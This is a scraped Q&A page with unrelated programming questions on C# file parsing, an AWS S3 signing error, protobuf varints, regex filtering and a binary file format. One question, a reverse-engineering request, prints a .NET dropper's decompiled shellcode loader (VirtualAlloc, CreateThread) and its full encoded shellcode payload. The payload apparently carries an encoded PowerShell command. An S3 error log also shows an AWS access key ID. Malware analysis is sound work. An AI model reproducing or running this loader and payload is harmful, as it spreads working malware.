I found some helpful post, but need clarification. I have a matrix with a list of numbers in it, separated by a space between each number.
08 02 22 97 38 15 00 40 00 75 04 05 07 78 52 12 50 77 91 08
49 49 99 40 17 81 18 57 60 87 17 40 98 43 69 48 04 56 62 00
81 49 31 73 55 79 14 29 93 71 40 67 53 88 30 03 49 13 36 65
52 70 95 23 04 60 11 42 69 24 68 56 01 32 56 71 37 02 36 91
22 31 16 71 51 67 63 89 41 92 36 54 22 40 40 28 66 33 13 80
24 47 32 60 99 03 45 02 44 75 33 53 78 36 84 20 35 17 12 50
32 98 81 28 64 23 67 10 26 38 40 67 59 54 70 66 18 38 64 70
67 26 20 68 02 62 12 20 95 63 94 39 63 08 40 91 66 49 94 21
24 55 58 05 66 73 99 26 97 17 78 78 96 83 14 88 34 89 63 72
21 36 23 09 75 00 76 44 20 45 35 14 00 61 33 97 34 31 33 95
78 17 53 28 22 75 31 67 15 94 03 80 04 62 16 14 09 53 56 92
16 39 05 42 96 35 31 47 55 58 88 24 00 17 54 24 36 29 85 57
86 56 00 48 35 71 89 07 05 44 44 37 44 60 21 58 51 54 17 58
19 80 81 68 05 94 47 69 28 73 92 13 86 52 17 77 04 89 55 40
04 52 08 83 97 35 99 16 07 97 57 32 16 26 26 79 33 27 98 66
88 36 68 87 57 62 20 72 03 46 33 67 46 55 12 32 63 93 53 69
04 42 16 73 38 25 39 11 24 94 72 18 08 46 29 32 40 62 76 36
20 69 36 41 72 30 23 88 34 62 99 69 82 67 59 85 74 04 36 16
20 73 35 29 78 31 90 01 74 31 49 71 48 86 81 16 23 57 05 54
01 70 54 71 83 51 54 69 16 92 33 48 61 43 52 01 89 19 67 48
I have read that data into my program with the following code:
string[] listData = File.ReadAllLines("\\Folder1\\GridDat.txt");
List<string[]> partialData = new List<string[]>();
// Read all lines and put them into this array
foreach (string s in listData)
{
partialData.Add(s.Split(' '));
}
fileOut.WriteLine("{0}", partialData);
I believe I have read this into an array or a List of strings, but not sure how access the data from here, so I can print it out to a file.
I'm not certain how you want it formatted in your output file, but this will print them one number on each line:
var lines = System.IO.File.ReadAllLines("C:\\temp\\numbers.txt");
var lineArray = lines.SelectMany(x=>x.Split(' '));
System.IO.File.WriteAllLines("C:\\temp\\txt.txt", lineArray);
SelectMany
This will allow you to pull in the data, manipulate the numbers and then put it back in the original format:
var lines = System.IO.File.ReadAllLines("C:\\temp\\numbers.txt");
var lineArray = lines.Select(x =>
{
var numbers = x.Split(' ');
//do stuff with individual numbers here.
return string.Join(" ", numbers);
}
);
System.IO.File.WriteAllLines("C:\\temp\\txt.txt", lineArray);
Select
Related
Getting this error when try to run a GET request on AWS s3. Detailed logs are attached below. Please help
26-Dec-2022 12:26:00 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
Error response:
Code: SignatureDoesNotMatch
Message: The request signature we calculated does not match the signature you provided. Check your key and signing method.
AWSAccessKeyId: AKIA4OGRTV42ZXNBHH47
StringToSign: AWS4-HMAC-SHA256
20221226T065419Z
20221226/us-east-2/s3/aws4_request
34482fccab5255ab299ba1a1afe1429ab3b00d25920506f2b26eed3e695d0aaa
SignatureProvided: be3902f4cc91f6263ee88b6c2e90de2ad75858655aa6cb5205fb1950b149677f
StringToSignBytes: 41 57 53 34 2d 48 4d 41 43 2d 53 48 41 32 35 36 0a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 32 30 32 32 31 32 32 36 2f 75 73 2d 65 61 73 74 2d 32 2f 73 33 2f 61 77 73 34 5f 72 65 71 75 65 73 74 0a 33 34 34 38 32 66 63 63 61 62 35 32 35 35 61 62 32 39 39 62 61 31 61 31 61 66 65 31 34 32 39 61 62 33 62 30 30 64 32 35 39 32 30 35 30 36 66 32 62 32 36 65 65 64 33 65 36 39 35 64 30 61 61 61
CanonicalRequest: GET
/
prefix=recovery%2FR%C3%83%C2%A9cup%C3%83%C2%A9ration_VOL-b001.spf&uploads=
host:recoverybucket333.s3.us-east-2.amazonaws.com
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20221226T065419Z
host;x-amz-content-sha256;x-amz-date
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
CanonicalRequestBytes: 47 45 54 0a 2f 0a 70 72 65 66 69 78 3d 72 65 63 6f 76 65 72 79 25 32 46 52 25 43 33 25 38 33 25 43 32 25 41 39 63 75 70 25 43 33 25 38 33 25 43 32 25 41 39 72 61 74 69 6f 6e 5f 56 4f 4c 2d 62 30 30 31 2e 73 70 66 26 75 70 6c 6f 61 64 73 3d 0a 68 6f 73 74 3a 72 65 63 6f 76 65 72 79 62 75 63 6b 65 74 33 33 33 2e 73 33 2e 75 73 2d 65 61 73 74 2d 32 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 0a 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35 0a 78 2d 61 6d 7a 2d 64 61 74 65 3a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 0a 68 6f 73 74 3b 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3b 78 2d 61 6d 7a 2d 64 61 74 65 0a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35
RequestId: 1SKCZB7ZCJJK4RMC
HostId: qQ/ElU917KLt7vm15qnfCvAZhb8NqL0GXyHt/dCcd6LOL76OhEz7C9bQ5i2zR2B0LO8xpHSvPYc+oe68V/usCA==
26-Dec-2022 12:26:00 Sending Récupération_VOL-b001.spf
26-Dec-2022 12:26:19 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
I am trying to upload some files on S3 bucket and it is working for normal file names but not working when the file name contains some ASCII chars or accent marks. It failed with the above error shown in the description.
I am currently reverse engineering a piece of .NET PE malware that drop shellcode using the CreateThread function and a block of data.
This is the shellcodeRunner function as decompiled by monodis (im on linux)
.maxstack 6
.locals init (
unsigned int8[] V_0,
int32 V_1,
native int V_2,
int32 V_3)
IL_0000: ldstr "[+] Running shellcode..."
IL_0005: call void class [mscorlib]System.Console::WriteLine(string)
IL_000a: ldc.i4 1339
IL_000f: newarr [mscorlib]System.Byte
IL_0014: dup
IL_0015: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=1339' '<PrivateImplementationDetails>'::34D84C3D147ABF5A05B8FF8851822AACADD1A91EBDE633F0C7C82779CCC23977
IL_001a: call void class [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_001f: stloc.0
IL_0020: ldc.i4.0
IL_0021: stloc.3
IL_0022: br.s IL_0037
IL_0024: ldloc.0
IL_0025: ldloc.3
IL_0026: ldloc.0
IL_0027: ldloc.3
IL_0028: ldelem.u1
IL_0029: ldc.i4.2
IL_002a: sub
IL_002b: ldc.i4 255
IL_0030: and
IL_0031: conv.u1
IL_0032: stelem.i1
IL_0033: ldloc.3
IL_0034: ldc.i4.1
IL_0035: add
IL_0036: stloc.3
IL_0037: ldloc.3
IL_0038: ldloc.0
IL_0039: ldlen
IL_003a: conv.i4
IL_003b: blt.s IL_0024
IL_003d: ldloc.0
IL_003e: ldlen
IL_003f: conv.i4
IL_0040: stloc.1
IL_0041: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0046: ldloc.1
IL_0047: ldc.i4 12288
IL_004c: ldc.i4.s 0x40
IL_004e: call native int class dropper.Program::VirtualAlloc(native int, int32, unsigned int32, unsigned int32)
IL_0053: stloc.2
IL_0054: ldloc.0
IL_0055: ldc.i4.0
IL_0056: ldloc.2
IL_0057: ldloc.1
IL_0058: call void class [mscorlib]System.Runtime.InteropServices.Marshal::Copy(unsigned int8[], int32, native int, int32)
IL_005d: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0062: ldc.i4.0
IL_0063: ldloc.2
IL_0064: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0069: ldc.i4.0
IL_006a: ldc.i4.0
IL_006b: call native int class dropper.Program::CreateThread(native int, unsigned int32, native int, native int, unsigned int32, unsigned int32)
IL_0070: ldc.i4.m1
IL_0071: call int32 class dropper.Program::WaitForSingleObject(native int, int32)
IL_0076: pop
IL_0077: ret
} // end of method Program::shellcodeRunner
And this is the shellcode presumably passed to the shellcodeRunner function.
.data D_000032e4 = bytearray (
FE 4A 85 E6 F2 EA C2 02 02 02 43 53 43 52 54 53
58 4A 33 D4 67 4A 8D 54 62 4A 8D 54 1A 4A 8D 54
22 4A 8D 74 52 4A 11 B9 4C 4C 4F 33 CB 4A 33 C2
AE 3E 63 7E 04 2E 22 43 C3 CB 0F 43 03 C3 E4 EF
54 43 53 4A 8D 54 22 8D 44 3E 4A 03 D2 8D 82 8A
02 02 02 4A 87 C2 76 69 4A 03 D2 52 8D 4A 1A 46
8D 42 22 4B 03 D2 E5 58 4A 01 CB 43 8D 36 8A 4A
03 D8 4F 33 CB 4A 33 C2 AE 43 C3 CB 0F 43 03 C3
3A E2 77 F3 4E 05 4E 26 0A 47 3B D3 77 DA 5A 46
8D 42 26 4B 03 D2 68 43 8D 0E 4A 46 8D 42 1E 4B
03 D2 43 8D 06 8A 4A 03 D2 43 5A 43 5A 60 5B 5C
43 5A 43 5B 43 5C 4A 85 EE 22 43 54 01 E2 5A 43
5B 5C 4A 8D 14 EB 59 01 01 01 5F 4A BC 03 02 02
02 02 02 02 02 4A 8F 8F 03 03 02 02 43 BC 33 8D
71 89 01 D7 BD E2 1F 2C 0C 43 BC A8 97 BF 9F 01
D7 4A 85 C6 2A 3E 08 7E 0C 82 FD E2 77 07 BD 49
15 74 71 6C 02 5B 43 8B DC 01 D7 72 71 79 67 74
75 6A 67 6E 6E 30 67 7A 67 22 2F 67 72 22 64 7B
72 63 75 75 22 2F 67 70 65 22 4C 43 44 35 43 49
4F 43 4B 43 43 3B 43 45 43 43 59 79 44 56 43 4A
6D 43 65 79 44 32 43 49 57 43 64 53 43 77 43 47
36 43 5C 53 44 32 43 45 36 43 58 79 44 6E 43 49
4B 43 53 79 44 75 43 49 6D 43 5C 53 44 77 43 4A
53 43 5A 53 43 38 43 46 71 43 64 69 44 6E 43 4A
65 43 4D 43 43 72 43 46 75 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 45 43 43 52 53 43 69 43 45
65 43 63 43 44 32 43 4A 53 43 65 43 44 7C 43 46
71 43 4E 79 43 78 43 49 69 43 5C 53 44 7B 43 49
47 43 64 69 44 7C 43 49 3A 43 64 53 44 35 43 49
47 43 65 69 44 6E 43 45 36 43 64 69 44 75 43 45
3A 43 64 43 44 7C 43 49 53 43 63 79 44 6A 43 49
5B 43 63 69 43 36 43 49 5B 43 63 69 44 6A 43 49
5B 43 4F 69 43 7C 43 46 6D 43 51 43 44 6F 43 4A
57 43 64 43 44 7C 43 49 53 43 4E 79 44 6E 43 4A
5B 43 63 53 44 75 43 45 36 43 66 43 44 36 43 4A
53 43 4C 79 43 39 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 69 43 46
32 43 4B 43 43 70 43 47 57 43 54 69 43 33 43 46
6D 43 53 69 43 37 43 47 57 43 51 53 44 48 43 46
47 43 4F 43 43 7A 43 47 5B 43 54 53 44 47 43 46
4B 43 4F 69 43 7A 43 46 57 43 4F 43 44 47 43 46
4F 43 51 43 43 7C 43 46 4B 43 53 53 43 7A 43 46
4F 43 50 53 44 46 43 47 5B 43 4F 69 43 79 43 46
4B 43 53 53 43 32 43 47 5B 43 50 79 43 34 43 46
53 43 53 69 43 7A 43 47 5B 43 50 53 44 44 43 46
53 43 53 79 44 44 43 46 57 43 53 79 44 45 43 47
57 43 50 69 43 34 43 46 65 43 53 69 43 79 43 46
47 43 50 43 44 45 43 46 47 43 53 69 44 48 43 46
57 43 4C 79 43 39 43 45 43 43 4C 43 44 49 43 49
6D 43 64 43 44 6E 43 47 69 43 5B 53 44 7C 43 49
69 43 4B 43 43 3B 43 45 43 43 54 79 44 6E 43 4A
53 43 4E 53 44 49 43 49 6D 43 64 43 44 6E 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 47
6D 43 64 69 44 79 43 4A 57 43 66 43 44 56 43 4A
53 43 65 69 44 6E 43 49 47 43 64 53 43 69 43 45
69 43 4C 43 44 35 43 49 4F 43 4E 69 44 52 43 4A
43 43 5C 53 44 77 43 48 4B 43 5C 53 44 6A 43 49
53 43 4D 43 43 6D 43 4A 53 43 5B 53 44 7B 43 49
65 43 5C 53 44 32 43 4A 57 43 65 69 44 75 43 45
6D 43 4D 53 43 39 43 45 43 43 55 53 44 6F 43 45
43 43 4D 43 43 6D 43 47 5B 43 63 53 44 75 43 49
57 43 55 43 44 6A 43 4A 4F 43 63 43 43 77 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 49
57 43 65 53 43 69 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 72 43 45
43 43 67 79 44 4C 43 47 57 43 59 43 43 71 43 45
53 43 66 79 44 6C 43 45 36 43 54 43 44 78 43 4A
65 43 64 69 44 75 43 49 3A 43 5B 53 44 6D 43 48
4F 43 66 43 44 7B 43 49 6D 43 64 69 44 70 43 45
69 43 4C 43 44 32 43 49 47 43 65 69 44 70 43 49
57 43 66 43 44 33 43 4A 4B 43 64 43 43 72 43 45
6D 43 68 53 43 69 43 47 57 43 64 43 44 7C 43 49
57 43 4B 43 44 39 43 48 65 43 65 69 44 72 43 4A
53 43 5C 53 43 76 43 47 69 43 64 79 44 7C 43 4A
53 43 4B 43 44 64 43 45 32 43 5A 53 43 69 43 47
4F 43 64 79 44 33 43 49 79 43 5C 43 43 69 43 49
36 43 64 79 44 32 43 45 43 43 5B 79 44 78 43 49
36 43 64 69 44 6E 43 49 4F 43 66 43 43 69 43 4A
65 43 63 53 44 32 43 49 69 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 4A 32 43 02) // size: 1339
What tool could I use to disassemble the instructions contained in the data. Running monodis on the data only does not work, as it contains no header table of its own. Is there any 'force' parameter to monodis that allows it to still disassemble the data?
Any help on this matter would be much appreciated.
I was able to disassemble the data portion by selecting and right-clicking > disassemble in Ghidra. Thanks to Dai for the insight.
I have output from a SRSLabs EC301 in .sec format, which is a proprietary binary format. There is some windows based software available for reading this file, but someone moved the tower which has the software I need, and while I am still trying to find it, I'm also parallelizing my search for getting useful data out of this file.
I've viewed the file with hexdump and get this:
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 06 01 00 00 00 0f 53 52 53 4c 61 62 20 31 2e |.......SRSLab 1.|
00000020 37 2e 30 2e 31 30 0b 00 01 00 00 00 ff ff ff ff |7.0.10..........|
00000030 01 00 00 00 00 00 00 00 04 01 00 00 00 0c 53 79 |..............Sy|
00000040 73 74 65 6d 2e 49 6e 74 33 32 01 00 00 00 07 6d |stem.Int32.....m|
00000050 5f 76 61 6c 75 65 00 08 02 00 00 00 0b 00 01 00 |_value..........|
00000060 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 0c 02 |................|
00000070 00 00 00 3e 53 52 53 4c 61 62 2c 20 56 65 72 73 |...>SRSLab, Vers|
00000080 69 6f 6e 3d 31 2e 37 2e 30 2e 31 30 2c 20 43 75 |ion=1.7.0.10, Cu|
00000090 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
000000a0 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu|
000000b0 6c 6c 05 01 00 00 00 12 45 43 48 6f 73 74 41 70 |ll......ECHostAp|
000000c0 70 2e 53 52 53 45 43 44 6f 63 02 00 00 00 09 65 |p.SRSECDoc.....e|
000000d0 63 50 72 6f 6a 65 63 74 0b 6c 69 6e 65 4d 61 6e |cProject.lineMan|
000000e0 61 67 65 72 04 04 11 45 43 48 6f 73 74 41 70 70 |ager...ECHostApp|
000000f0 2e 45 43 50 72 6a 63 74 02 00 00 00 15 45 43 48 |.ECPrjct.....ECH|
00000100 6f 73 74 41 70 70 2e 4c 69 6e 65 4d 61 6e 61 67 |ostApp.LineManag|
00000110 65 72 02 00 00 00 02 00 00 00 09 03 00 00 00 09 |er..............|
00000120 04 00 00 00 0c 05 00 00 00 48 53 52 53 49 6e 73 |.........HSRSIns|
00000130 74 72 75 6d 65 6e 74 50 6f 6f 6c 2c 20 56 65 72 |trumentPool, Ver|
00000140 73 69 6f 6e 3d 31 2e 30 2e 30 2e 30 2c 20 43 75 |sion=1.0.0.0, Cu|
00000150 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
00000160 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu|
00000170 6c 6c 05 03 00 00 00 11 45 43 48 6f 73 74 41 70 |ll......ECHostAp|
00000180 70 2e 45 43 50 72 6a 63 74 0b 00 00 00 0b 61 63 |p.ECPrjct.....ac|
00000190 74 69 6f 6e 74 69 74 6c 65 0e 6f 62 73 65 72 76 |tiontitle.observ|
000001a0 61 62 6c 65 4c 69 73 74 09 75 73 65 72 55 6e 69 |ableList.userUni|
000001b0 74 73 06 72 65 70 65 61 74 08 6e 6f 64 65 52 6f |ts.repeat.nodeRo|
000001c0 6f 74 05 74 69 74 6c 65 06 72 65 6d 61 72 6b 0c |ot.title.remark.|
000001d0 6f 70 65 72 61 74 6f 72 4e 61 6d 65 04 64 61 74 |operatorName.dat|
000001e0 65 0e 69 6e 73 74 72 75 6d 65 6e 74 4c 69 73 74 |e.instrumentList|
000001f0 0a 6d 61 69 6e 72 65 70 65 61 74 01 02 04 00 04 |.mainrepeat.....|
00000200 01 02 02 00 03 00 22 53 52 53 49 6e 73 74 72 75 |......"SRSInstru|
00000210 6d 65 6e 74 50 6f 6f 6c 2e 55 73 65 72 44 65 66 |mentPool.UserDef|
00000220 69 6e 65 64 55 6e 69 74 73 05 00 00 00 08 13 45 |inedUnits......E|
And so on. The output viewed as ASCII looks eerily like Java, so my question is: is this possibly some standard .NET pickle-like output that can be fairly easily loaded into a Java program to be read?
There are classes that aren't part of the .NET standard library, but I also decompressed the MSI installer and see some names I recognize, and believe them to be bytecode files.
everyone,
I am using protobuf-net library to serialize-deserialize text data into binary files. I had similar error in the past but then i made a mistake of writing binary data to a text file. This time i am sure that the file is written in Binary mode. While I read the data, I get EndOfStream exception: Attempted to read past the end of the stream.
I have a message header before each object in binary file.
message HeaderMessage {
required double timestamp = 1;
required string ric_code = 2;
required int32 count = 3;
required int32 total_message_size = 4;
}
I am getting exception when i am reading total_message_size field at fixed location
HEADER: 1111 1 1 hk 0
File: 398909440 bytes
Reading data objects:
1073561: 09 e3 a5 9b c4 0c b3 e0 40 12 07 31 30 39 33 2e 48 4b 18 04 20 5a
1073677: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 02 20 2d
1073748: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 04 20 5a
1073864: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 02 20 2d
1073935: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 04 20 5b
1074052: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 02 20 2d
1074123: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 02 20 2d
1074194: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 04 20 5b
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
In the above output, first field is the stream position. Total stream length is 398909440. So its not possible that the stream has reached its end. I tried to print individual fields at the point when it fails to read, I see that the ProtoReader class is always failing to read total_message_size field.
In aboe output, the last row is the culprit where protobuf-net is not able to read the data.
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
If we split the fields, the data looks as follows:
field1 timestamp field: type: 09 payload: e3 a5 9b c4 0c b3 e0 40
field2 ric_code field: type: 12 payload: 07 30 32 33 35 2e 48 4b
field3 count field: type: 18 payload: 06
field4 total_message_size: type: 20 payload: 8a
the exception is raised while reading the payload of 4th field and the value is 8a. (decimal 138).
Stack trace is as follows:
at ProtoBuf.ProtoReader.TryReadUInt32VariantWithoutMoving(Boolean trimNegative, UInt32& value) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 101
at ProtoBuf.ProtoReader.ReadUInt32Variant(Boolean trimNegative) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 138
at ProtoBuf.ProtoReader.ReadInt32() in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 264
at protobuf_test.Program.Main(String[] args) in H:\Personal\Visual Studio 2010\Projects\protobuf-test\protobuf-test\Program.cs:line 80
at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args)
at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args)
at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
at System.Threading.ThreadHelper.ThreadStart_Context(Object state)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
what is the issue in reading the value 138? What is the issue in this case?
Regards,
Alok
0x8a is not a valid varint. Varint encoding uses the MSB as a continuation bit, meaning: if the MSB is set, there is at least one more byte expected (it continues until the MSB is not set, combining the remaining 7-bit chunks little-endian style). Consequently, 0x8a cannot exist by itself in a valid varint. 0x8a and something else, sure. You can see this in the wire spec. Please ensure you haven't accidentally cut the end off this individual message, or misreported the length (since I gather each record is individually wrapped with a size prefix).
I'm trying to exclude some data from a string using regex.
var match = Regex.Match(text, #"^(24 47(.*?)0D 0A)$");
The idea is to filter out and data starting with "24 47" and ending "0D 0A"
The source string:
A0 A1 00 02 83 00 83 0D 0A
A0 A1 00 02 84 1B 9F 0D 0A
24 47 50 47 47 41 2C 31 32 31 39 30 37 2E 30 30 30 2C 32 34 30 30 2E 30 30 30 30 2C 4E 2C 31 32 31 30 30 2E 30 30 30 30 2C 45 2C 30 2C 30 30 2C 30 2E 30 2C 30 2E 30 2C 4D 2C 30 2E 30 2C 4D 2C 2C 30 30 30 30 2A 36 35 0D 0A
24 47 50 47 53 41 2C 41 2C 31 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 30 2E 30 2C 30 2E 30 2C 30 2E 30 2A 33 30 0D 0A
24 47 50 52 4D 43 2C 31 32 31 39 30 37 2E 30 30 30 2C 56 2C 32 34 30 30 2E 30 30 30 30 2C 4E 2C 31 32 31 30 30 2E 30 30 30 30 2C 45 2C 30 30 30 2E 30 2C 30 30 30 2E 30 2C 32 38 30 36 30 36 2C 2C 2C 4E 2A 37 34 0D 0A
24 47 50 56 54 47 2C 30 30 30 2E 30 2C 54 2C 2C 4D 2C 30 30 30 2E 30 2C 4E 2C 30 30 30 2E 30 2C 4B 2C 4E 2A 30 32 0D 0A
But I only want this:
A0 A1 00 02 83 00 83 0D 0A
A0 A1 00 02 84 1B 9F 0D 0A
Your regex requires the entire string to start with "24 47" and end with "0D 0A". You want the multiline option that makes ^ and $ match start/end of each line:
Try
var match = Regex.Match(text, #"^24 47(.*)0D 0A$", RegexOptions.Multiline);
If you want to exclude those lines, then use a negative lookahead:
var match = Regex.Match(text, #"^(?!24 47(.*)0D 0A$).*$", RegexOptions.Multiline);
If you want to find and remove delimited substrings anywhere in a long, contiguous string without line breaks, try this:
resultString = Regex.Replace(subjectString, #"\b24 47(.*?)0D 0A\b", "<removed>");
^ matches the start of a string and $ matches the end. If you are considering that your "24 47" and "0D 0A" is in middle of your string then consider removing ^ and $.
var textFiltered = Regex.Replace(originalText, #"(24 47(.*?)\r\n)", "");
UPDATE
TRY THIS, JUST TESTED:
string replace = Regex.Replace(input, #"(24 47(.*?)0D 0A *(\r\n)*)", "", RegexOptions.Multiline);
Do you need Replace instead of Match?
text = Regex.Replace(text, #"^(24 47(.*?)0D 0A)$", "");
In order to match the special line characters (CR and LF), you have to set the options to Singleline. And you have to replace with empty string.
text = Regex.Replace(text, #"^(24 47(.*?)\r\n)$", "", RegexOptions.Singleline );
See here.
You can iterate over the list of strings, try to match the regex ^24 47.*0D 0A $, and select those strings in case of which the match is not successful. Note the extra space before the $. The example strings you gave end with a space.